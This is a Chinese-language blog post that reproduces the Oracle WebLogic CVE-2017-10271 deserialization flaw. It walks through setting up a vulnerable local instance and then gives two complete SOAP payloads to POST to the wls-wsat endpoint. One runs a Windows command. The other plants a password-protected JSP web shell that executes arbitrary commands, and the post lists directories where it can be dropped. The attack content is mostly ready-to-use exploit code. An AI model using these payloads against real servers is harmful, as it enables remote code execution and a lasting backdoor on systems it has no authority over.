WebLogic CVE-2017-10271 复现暨 POC

WebLogic 安装包下载地址
下载界面
选择漏洞版本下载. 安装一路 next, 选一下安装路径, 其他全默认.
安装完成后在开始菜单栏里有个'Oracle WebLogic'的文件夹.
开始菜单截图
选择 QuickStart 创建服务器实例.
还是一路 next,  除了需要输入密码的地方, 其他一路默认.
最后点击 create 完成后会自动打开 cmd , 运行创建的实例.
启动界面

访问 http://127.0.0.1:7001/wls-wsat/CoordinatorPortType
漏洞界面
环境搭建运行成功,  把这个地址贴到 BurpSuite 去,  POST POC.
POC 1, 命令执行:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>C:\\windows\\system32\\cmd.exe</string>
              </void>
              <void index="1">
                <string>/c</string>
              </void>
              <void index="2">
                <string>start calc.exe</string>
              </void>
            </array>
          <void method="start"/></void>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

执行效果
POC2,  GETSHELL

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                        int a = -1;
                        byte[] b = new byte[2048];
                        out.print("<pre>");
                        while((a=in.read(b))!=-1){out.println(new String(b));}
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

GetShell 有三个目录: bea_wls9_async_response/bea_wls_internal/uddiexplorer , 可根据需要自选
命令执行SHELL

标签: Exp, POC, weblogic

添加新评论